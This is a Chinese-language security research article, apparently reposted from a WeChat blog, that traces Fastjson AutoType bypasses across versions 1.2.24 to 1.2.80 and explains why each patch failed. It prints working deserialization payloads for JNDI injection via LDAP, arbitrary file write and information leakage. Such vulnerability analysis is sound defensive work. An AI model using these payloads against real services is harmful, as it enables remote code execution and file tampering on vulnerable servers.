声明
以下内容，来自且听安全公众号的QCyber作者原创，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，长白山攻防实验室以及文章作者不承担任何责任。
0x01 漏洞信息
近期Fastjson Develop Team报告了Fastjson v1.2.80存在AutoType绕过反序列化漏洞，通报如下：
漏洞在特定条件下可以绕过默认关闭的AutoType限制，结合一个新的利用链，可实现RCE 。
0x02 AuthType 机制
Fastjson通过函数`parse`或者`parse-Object`来完成字符串的反序列化操作，并且可以通过`@type`来指定反序列化的类型。
Fastjson v1.2.24可以通过
'JdbcRowSetImpl`来实现JNDI注入：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/test","autoCommit":true}
Fastjson v1.2.25推出了AutoType机制，在`DefaultJSONParser`中增加了 `checkAutoType`检查：
`checkAutoType`中存在黑白名单检查：
`autoTypeSupport`默认为`False` ，为了运行通过`@type`指定反序列化类型，正常情况下需要手动进行设置：
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);同时还存在黑名单校验：
所以Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过，绝大部分都是寻找一个新的利用链来绕过黑名单，所以Fastjson官方的黑名单列表越来越大，但是更有意义的绕过显然是AutoType机制绕过，这样无需手动配置 `autoTypeSupport`也可能进行利用。
0x03 Fastjson v1.2.47 绕过
Payload 如下：
{"x": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"y": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/test","autoCommit": true}}
在进入`checkAutoType`之前，调用
`TypeUtils#addBaseClassMappings`函数将常见类加载到缓存的`mapping`对象：
然后进入`checkAutoType` ，因为`auto-TypeSupport`默认为`False` ，
所以尝试从`mapping`或者`deseriali-zers.findClass`中加载类：
通过`deserializers#findClass` 可以找到`java.lang.Class` 类；
回到`DefaultJSONParser` ，一直进入到第358行获取的`deserializer`对象为 `MiscCodec`类型，一直往下走，通过函数`deserialze`开始反序列化操作：
通过`parser.paese`提取到`objVal`的值为：
`com.sun.rowset.JdbcRowSetImpl`
继续往下走，一直到达如下判断：
跟进 `TypeUtils.loadClass` ：
在程序上下文环境中加载
`com.sun.rowset.JdbcRowSetImpl`类型并加入到`mapping`中。
由于我们Payload传入2个Json对象，所以会再次调用`check-AutoType` ：
此时在进行AutoType机制检查前已经返回了`clazz` ：
所以实现了AutoType机制的绕过。在v1.2.48版本中将`java.lang.Class`加入了黑名单。
0x04 Fastjson v1.2.50 绕过
Payload 如下：
{"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"ldap://localhost:1389/test","command":"a"}
回到`checkAutoType`函数：
要想`expectClassFlag`取值为`True`，那么传入`checkAutoType`的`expectClass`类对象应该非空。
第一次从`parse`调用`checkAuto-Type`时，`expectClass`取值为`null` ，继续往下走：
如果在缓存`mapping`中能够匹配到类，`checkAutoType`将返回该类型对象。
Payload中用到的`java.lang.Auto-Closeable`正好位于缓存`mapping`
(`TypeUtils#addBaseClassMappings`)
继续往下走：
因为`clazz`取值为`java.lang.Auto-Closeable` ：
所以获取的`ObjectDeserializer`对象为`JavaBeanDeserializer`类型跟进
`JavaBeanDeserializer#deserialze`
会再次调用`checkAutoType`，
此时会将第二个`@type` 和非空的`expectClass` 传进去：
此时因为`expectClass`非空，所以绕过了AuthType检查机制。同时后面通过 `TypeUtils#loadClass`加载类的过程中，调用了`isAssignableFrom`，用来判断反序列化的类是否实现了`expectClass`接口，如果是将返回反序列化类对象。
`oracle.jdbc.rowset.OracleJDBCRowSet`继承关系如下图所示：
后面实现 JNDI 注入的过程就不分析了。在 v1.2.51 版本的补丁中只是将 `oracle.jdbc.rowset.OracleJDBCRowSet` 添加进入了黑名单。
0x05 Fastjson v1.2.68 绕过
严格意义上讲v1.2.68不是真正的AuthType绕过。
回顾前面的分析，由于 Fastjson并未将`java.lang.AutoCloseable`加入黑名单，所以理论上只要再寻找一个类继承于`java.lang.AutoCloseable` ，并且不在黑名单中，同时 get/set中存在可利用的操作即可。
Fastjson v1.2.68 绕过借助的类为`sun.rmi.server.MarshalOutputStream` ，继承关系如下：
最终可以实现任意文件写入，Payload 如下：
{"@type": "java.lang.AutoCloseable","@type": "sun.rmi.server.MarshalOutputStream","out": {"@type": "java.util.zip.InflaterOutputStream","out": {"@type": "java.io.FileOutputStream","file": "/tmp/asdasd","append": true},"infl": {"input": {"array": "eJxLLE5JTCkGAAh5AnE=","limit": 14}},"bufLen": "100"},"protocolVersion": 1}
AuthType绕过过程与v1.2.50一样，触发任意文件写入的过程就不进行分析了。
v1.2.69版本终于将`java.lang.Auto-Closeable`加入了黑名单，那么v1.2.50和v1.2.68的绕过方式也就无效了。
0x06 Fastjson v1.2.80 绕过
回顾v1.2.50和v1.2.68的绕过方式，主要是在`ObjectDeserializer`接口的子类 `JavaBeanDeserializer`中存在`expectClass`非空的`checkAuto-Type`调用，这也是绕过的关键。
顺着这个思路，我们继续在`Object-Deserializer`接口的其他子类中寻找`expectClass'非空的`checkAuto-Type`调用：
除了`JavaBeanDeserializer`之外，在子类`ThrowableDeserializer`的函数 `deserialze`中也存在满足条件的调用：
从`expressClass`定义来看，利用链类型必须继承于`Throwable` 。我们可以构造如下测试来调试一下解析过程(`java.lang.Exception`继承于 `Throwable`)：
{"@type":"java.lang.Exception","@type":"test","a":"test"}
第一次进入`checkAutoType`函数， `expressClass`参数为空：
尝试从缓存`mapping`中实例化
`clazz`(`TypeUtils#addBaseClassMappings`已经将`java.lang.Exception` 加入了`mapping`)：
往下走`getDeserializer`返回的`ObjectDeserializer` 为`Throwable-Deserializer`类型：
进入
`ThrowableDeserializer#deserialze` ，顺利到达`checkAutoType`：
与前面分析的绕过类似，第二次进入`checkAutoType` 时，`express-Class` 取值非空，从而实现绕过。
其实这种绕过方式在 2020 年就已经有大佬放出来了：
{"x":{"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"},"y":{"$ref":"$x.systemInformation"}}
这是一个信息泄露的利用链，这条链的分析网上已经不少了，这里就不重复了。最近官方通报漏洞应该是有人找到了能够 RCE 的利用链，查看 v1.2.81 的黑名单可以看到新增了不少 hash （但是还没分析出来是哪个链，研究出来了再分享给大家吧~）。
原文链接：
https://mp.weixin.qq.com/s/kjttmJHtBiuYHItdmVTEIA?notreplace=true
